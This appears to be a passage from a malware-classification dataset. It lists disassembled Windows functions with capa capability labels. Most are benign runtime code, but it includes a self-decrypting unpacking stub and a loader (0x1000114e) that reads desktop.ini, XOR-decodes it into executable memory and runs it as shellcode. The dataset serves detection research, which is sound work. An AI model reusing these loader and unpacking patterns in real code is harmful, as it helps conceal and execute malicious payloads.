joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c1a8
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x417428]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004079ab
mov dword [ebp - 0x14], eax
cmp dword [0x42e960], esi
jne 0x40c29b
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40c228
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40c37b
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40c37b
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40c37b
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x42e960], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x42e964], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x42e968], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42e970], eax
test eax, eax
je 0x40c298
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42e96c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40c2c0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40c2b3
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40c2d5
push 4
pop eax
jmp 0x40c37d
cmp dword [ebp - 0x14], esi
je 0x40c2d5
push dword [0x42e960]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40c2ba
mov eax, dword [0x42e96c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40c333
cmp dword [0x42e970], edi
je 0x40c333
push eax
call ebx
push dword [0x42e970]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40c333
test eax, eax
je 0x40c333
call ecx
test eax, eax
je 0x40c328
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40c328
test byte [ebp - 8], 1
jne 0x40c333
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40c363
mov eax, dword [0x42e964]
cmp eax, edi
je 0x40c360
push eax
call ebx
test eax, eax
je 0x40c360
call eax
mov esi, eax
test esi, esi
je 0x40c360
mov eax, dword [0x42e968]
cmp eax, edi
je 0x40c360
push eax
call ebx
test eax, eax
je 0x40c360
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x42e960]
call ebx
test eax, eax
je 0x40c37b
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40c37d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403b15
mov esp, ebp
pop ebp
ret
Function at 0x40decb
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a538]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408cc1
mov dword [ebp - 0x14], eax
cmp dword [0x47d63c], esi
jne 0x40dfbe
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40df4b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40e09e
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40e09e
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40e09e
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x47d63c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x47d640], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x47d644], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x47d64c], eax
test eax, eax
je 0x40dfbb
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x47d648], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40dfe3
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40dfd6
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40dff8
push 4
pop eax
jmp 0x40e0a0
cmp dword [ebp - 0x14], esi
je 0x40dff8
push dword [0x47d63c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40dfdd
mov eax, dword [0x47d648]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40e056
cmp dword [0x47d64c], edi
je 0x40e056
push eax
call ebx
push dword [0x47d64c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40e056
test eax, eax
je 0x40e056
call ecx
test eax, eax
je 0x40e04b
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40e04b
test byte [ebp - 8], 1
jne 0x40e056
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40e086
mov eax, dword [0x47d640]
cmp eax, edi
je 0x40e083
push eax
call ebx
test eax, eax
je 0x40e083
call eax
mov esi, eax
test esi, esi
je 0x40e083
mov eax, dword [0x47d644]
cmp eax, edi
je 0x40e083
push eax
call ebx
test eax, eax
je 0x40e083
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x47d63c]
call ebx
test eax, eax
je 0x40e09e
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40e0a0
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404283
mov esp, ebp
pop ebp
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x40895a
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x4085d8
mov edi, edx
add edx, 0x5ac2ef26
call fcn.00408984
sub edx, 0x14fb4e0d
sub edi, 1
xor dword [eax], esi
inc eax
cmp eax, ebx
jne fcn.0040895a
sub edx, edx
add edx, edx
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x407cb0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43bf4d
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x44b040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x2c], ebx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], ebx
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x30], 0
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
call fcn.00405b10
cmp dword [ebp - 0x14], 7
lea eax, [ebp - 0x28]
push 0
cmova eax, dword [ebp - 0x28]
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp - 0x14]
mov esi, eax
cmp ecx, 7
jbe 0x407d75
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x407d6b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407e72
push ecx
push edx
call fcn.004194d4
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
cmp esi, 0xffffffff
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmove esi, eax
mov dword [ebp - 0x30], esi
test esi, esi
je 0x407e77
push eax
push esi
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp dword [ebx], 0
mov edi, eax
mov dword [ebp - 0x2c], edi
jne 0x407de9
push edi
call fcn.00419756
mov edx, eax
lea ecx, [ebp - 0x38]
lea eax, [ebx + 8]
add esp, 4
cmp eax, ecx
je 0x407ddb
mov ecx, dword [eax]
mov dword [eax], edx
test ecx, ecx
je 0x407de4
push ecx
call fcn.00419385
add esp, 4
mov dword [ebx + 4], edi
jmp 0x407e31
push edx
call fcn.00419385
add esp, 4
mov dword [ebx + 4], edi
jmp 0x407e31
cmp edi, dword [ebx + 4]
jbe 0x407e31
push edi
call fcn.00419756
mov dword [ebp - 0x30], eax
lea edx, [ebx + 8]
mov ecx, eax
add esp, 4
lea eax, [ebp - 0x3c]
cmp edx, eax
je 0x407e21
mov eax, dword [edx]
xor ecx, ecx
mov edi, dword [ebp - 0x30]
mov dword [edx], edi
mov edi, dword [ebp - 0x2c]
test eax, eax
je 0x407e21
push eax
call fcn.00419385
mov dword [ebx + 4], edi
jmp 0x407e2e
mov dword [ebx + 4], edi
test ecx, ecx
je 0x407e31
push ecx
call fcn.00419385
add esp, 4
push 0
lea eax, [ebp - 0x2c]
mov dword [ebx], edi
push eax
push edi
push dword [ebx + 8]
mov dword [ebp - 0x2c], 0
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00419377
mov esp, ebp
pop ebp
ret 8
call fcn.0041e0ea
push str.Create_File_Error_
lea ecx, [ebp - 0x48]
call fcn.004080b0
push 0x44a220
lea eax, [ebp - 0x48]
push eax
call fcn.0041aa50
int3
Function at 0x40af20
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43c2fd
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push ebx
push esi
push edi
mov eax, dword [0x44b040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, ecx
mov dword [ebp - 0x10], edx
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cmp esi, edi
je 0x40b0f6
nop dword [eax + eax]
cmp dword [esi + 0x1c], 7
lea eax, [esi + 8]
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
jbe 0x40af7a
mov ecx, dword [eax]
mov dword [ebp - 0x14], ecx
mov ecx, dword [eax + 0x10]
add ecx, ecx
mov ebx, 0x811c9dc5
mov dword [ebp - 0x18], ecx
xor ecx, ecx
cmp dword [ebp - 0x18], ecx
jbe 0x40afab
mov edx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
movzx eax, byte [ecx + edx]
inc ecx
xor eax, ebx
imul ebx, eax, 0x1000193
cmp ecx, edi
jb 0x40af91
mov edi, dword [ebp + 0xc]
lea eax, [esi + 8]
mov edx, dword [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x24]
mov ecx, edx
push eax
call fcn.0040ae70
cmp dword [ebp - 0x20], 0
jne 0x40b0e5
mov edi, dword [ebp - 0x10]
cmp dword [edi + 8], 0x5555555
je 0x40b10a
lea eax, [edi + 4]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 4], 0
push 0x30
mov dword [ebp - 0x28], 0
call fcn.0041938a
mov esi, eax
add esp, 4
mov dword [ebp - 0x28], esi
push dword [ebp - 0x1c]
lea eax, [esi + 8]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.00405b10
mov eax, dword [ebp - 0x1c]
lea ecx, [esi + 0x20]
add eax, 0x18
mov byte [ebp - 4], 1
push eax
mov dword [ecx], 0
call fcn.00408260
mov dword [ebp - 4], 2
mov eax, dword [edi + 8]
inc eax
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x446ab0]
mov eax, dword [edi + 0x1c]
cvtpd2ps xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x446ab0]
cvtpd2ps xmm0, xmm0
divss xmm1, xmm0
comiss xmm1, dword [edi]
seta al
test al, al
je 0x40b08e
mov ecx, edi
call fcn.0040a6f0
push ebx
lea eax, [esi + 8]
mov ecx, edi
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.0040ae70
mov edx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], eax
jmp 0x40b091
mov edx, dword [ebp - 0x24]
mov eax, dword [edx + 4]
inc dword [edi + 8]
mov dword [esi + 4], eax
mov dword [esi], edx
mov dword [eax], esi
mov dword [edx + 4], esi
mov ecx, dword [edi + 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [edi + 0x18]
and eax, ebx
mov dword [ebp - 0x28], 0
mov ebx, dword [ebp - 0x2c]
mov edi, dword [ecx + eax*8]
cmp edi, dword [ebx]
jne 0x40b0c2
mov dword [ecx + eax*8], esi
jmp 0x40b0d4
cmp edi, edx
jne 0x40b0cb
mov dword [ecx + eax*8], esi
jmp 0x40b0d8
mov edx, dword [ebp - 0x1c]
cmp dword [ecx + eax*8 + 4], edx
jne 0x40b0d8
mov dword [ecx + eax*8 + 4], esi
mov dword [ebp - 4], 0xffffffff
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov esi, dword [esi]
mov dword [ebp + 8], esi
cmp esi, edi
je 0x40b0f6
mov edx, dword [ebp - 0x10]
jmp 0x40af60
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push str.unordered_map_set_too_long
call fcn.004170c3
int3
Function at 0x40bfc0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x48
mov eax, dword [0x44b040]
xor eax, esp
mov dword [esp + 0x44], eax
mov edx, dword [ebp + 8]
xorps xmm0, xmm0
mov dword [esp + 8], ecx
mov ecx, edx
push esi
push edi
movaps xmmword [esp + 0x20], xmm0
mov dword [esp + 0x30], 0
lea esi, [ecx + 2]
mov dword [esp + 0x34], 0
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40c000
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [esp + 0x28]
call fcn.004066d0
cmp dword [esp + 0x34], 7
lea esi, [esp + 0x20]
mov edi, dword [esp + 0x20]
mov edx, 0x811c9dc5
mov eax, dword [esp + 0x30]
cmova esi, edi
xor ecx, ecx
add eax, eax
je 0x40c055
mov edi, eax
nop dword [eax + eax]
movzx eax, byte [ecx + esi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, edi
jb 0x40c040
mov edi, dword [esp + 0x20]
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x20]
push edx
push eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [ecx + 0x24]
call fcn.0040ae70
mov esi, dword [eax + 4]
test esi, esi
jne 0x40c07a
mov esi, dword [esp + 0x10]
mov esi, dword [esi + 0x28]
mov eax, dword [esp + 0x34]
cmp eax, 7
jbe 0x40c0ae
lea ecx, [eax*2 + 2]
mov eax, edi
cmp ecx, 0x1000
jb 0x40c0a4
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c0cd
push ecx
push edi
call fcn.004194d4
add esp, 8
mov eax, dword [esp + 0x10]
cmp esi, dword [eax + 0x28]
je 0x40c0d2
mov ecx, dword [esp + 0x4c]
lea eax, [esi + 0x20]
pop edi
pop esi
xor ecx, esp
call fcn.00419377
mov esp, ebp
pop ebp
ret 8
call fcn.0041e0ea
push str.RxCmd::Parser::GetValue:_Not_Cmd_Find_
lea ecx, [esp + 0x18]
call fcn.004080b0
push 0x44a220
lea eax, [esp + 0x18]
push eax
call fcn.0041aa50
int3
Function at 0x40c900
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43c49d
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x44b040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi], 0
mov dword [ebp - 4], 0
mov ebx, dword [ebp + 0xc]
push ebx
push dword [ebp + 8]
mov dword [esi + 4], 1
call fcn.0040c7f0
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
je 0x40c9cc
test bl, 1
je 0x40ca08
xor edi, edi
mov dword [ebp + 0xc], 0
push edi
lea eax, [ebp + 8]
mov dword [ebp + 8], edi
push eax
push 4
lea eax, [ebp + 0xc]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esi + 4]
sub eax, 1
je 0x40c9a8
sub eax, 1
jne 0x40c9bd
cmp word [ebp + 0xc], 0xfeff
jne 0x40c9bd
push eax
push eax
mov edi, 2
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x40ca08
mov eax, dword [ebp + 0xc]
mov ecx, 3
and eax, 0xffffff
cmp eax, 0xbfbbef
cmove edi, ecx
push 0
push 0
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x40ca08
test bl, 2
je 0x40ca08
mov eax, dword [esi + 4]
sub eax, 1
je 0x40c9ec
sub eax, 1
jne 0x40ca08
push eax
lea eax, [ebp + 0xc]
push eax
push 2
push 0x446600
jmp 0x40c9f9
push 0
lea eax, [ebp + 0xc]
push eax
push 3
push 0x4465fc
push dword [esi]
mov dword [ebp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40ca20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43c4cd
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x44b040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov ecx, dword [esi + 4]
mov eax, ecx
sub eax, 0
je 0x40ca93
sub eax, 1
je 0x40ca93
sub eax, 1
je 0x40ca66
xor eax, eax
jmp 0x40cb2f
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x2c]
push 0
push ecx
add eax, eax
mov dword [ebp - 0x2c], 0
push eax
push dword [ebp + 8]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
xor ecx, ecx
test eax, eax
cmovne ecx, dword [ebp - 0x2c]
mov eax, ecx
jmp 0x40cb2f
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
mov dword [ebp - 4], 0
xor eax, eax
push dword [ebp + 0xc]
cmp ecx, 1
mov edx, 0xfde9
push dword [ebp + 8]
cmovne edx, eax
lea ecx, [ebp - 0x28]
call fcn.0040cf40
add esp, 8
mov dword [ebp - 0x2c], 0
cmp dword [ebp - 0x14], 0xf
lea ecx, [ebp - 0x2c]
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
push 0
push ecx
push dword [ebp - 0x18]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x14]
xor esi, esi
test eax, eax
cmovne esi, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x40cb2d
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40cb23
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cb4b
push ecx
push edx
call fcn.004194d4
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00419377
mov esp, ebp
pop ebp
ret 8
call fcn.0041e0ea
int3
Function at 0x40cb60
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebp, ecx
push 1
push 0
push 0
push dword [ebp]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push dword [ebp]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp + 4]
mov ebx, eax
sub ebx, esi
sub ecx, 0
je 0x40cbf5
sub ecx, 1
je 0x40cbf5
sub ecx, 1
jne 0x40cc49
mov ecx, dword [edi + 0x10]
mov eax, ebx
shr eax, 1
cmp eax, ecx
ja 0x40cbc0
cmp dword [edi + 0x14], 7
mov ecx, edi
jbe 0x40cbb5
mov ecx, dword [edi]
xor edx, edx
mov dword [edi + 0x10], eax
mov word [ecx + eax*2], dx
jmp 0x40cbcc
sub eax, ecx
mov ecx, edi
push 0
push eax
call fcn.00409fe0
cmp dword [edi + 0x14], 7
jbe 0x40cbd4
mov edi, dword [edi]
push 0
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0
push eax
push ebx
push edi
push dword [ebp]
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop edi
pop esi
pop ebp
pop ebx
ret 4
lea eax, [ebx + 1]
push eax
call fcn.00419756
add esp, 4
mov dword [esp + 0x14], 0
mov esi, eax
lea eax, [esp + 0x14]
push 0
push eax
push ebx
push esi
push dword [ebp]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov byte [esi + ebx], 0
xor eax, eax
cmp dword [ebp + 4], 1
mov edx, 0xfde9
mov ecx, edi
cmovne edx, eax
sub esp, 8
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], ebx
call fcn.0040ce60
push esi
call fcn.00419385
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x40cc50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43c526
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x44b040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
xor ebx, ebx
mov eax, esi
mov dword [ebp - 0x2c], ebx
cmp dword [esi + 0x14], 7
jbe 0x40cc8e
mov eax, dword [esi]
push dword [esi + 0x10]
lea ecx, [ebp - 0x30]
push eax
call fcn.0040c710
add esp, 8
cmp dword [eax + 4], ebx
je 0x40ccc3
lea eax, [ebp - 0x28]
mov ecx, esi
push eax
call fcn.0040c7b0
mov dword [ebp - 4], 0
mov ebx, 1
mov ecx, eax
mov dword [ebp - 0x2c], ebx
call fcn.00404050
mov dword [ebp - 4], 0xffffffff
test bl, 1
je 0x40cd09
mov ecx, dword [ebp - 0x14]
cmp ecx, 7
jbe 0x40cd09
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40ccff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cdd3
push ecx
push edx
call fcn.004194d4
add esp, 8
mov dword [ebp - 0x2c], 0
push esi
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 1
call fcn.00405b10
cmp dword [ebp - 0x14], 7
lea eax, [ebp - 0x28]
push 0
cmova eax, dword [ebp - 0x28]
push 0x80
push 2
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp - 0x14]
mov esi, eax
cmp ecx, 7
jbe 0x40cd7c
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40cd72
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cdd8
push ecx
push edx
call fcn.004194d4
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
cmp esi, 0xffffffff
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmove esi, eax
mov dword [ebp - 0x2c], esi
test esi, esi
je 0x40cddd
push eax
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00419377
mov esp, ebp
pop ebp
ret
call fcn.0041e0ea
call fcn.0041e0ea
push str.Create_File_Error_
lea ecx, [ebp - 0x3c]
call fcn.004080b0
push 0x44a220
lea eax, [ebp - 0x3c]
push eax
call fcn.0041aa50
int3

Function at 0x416ef7
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x416f1e
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x416f21
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
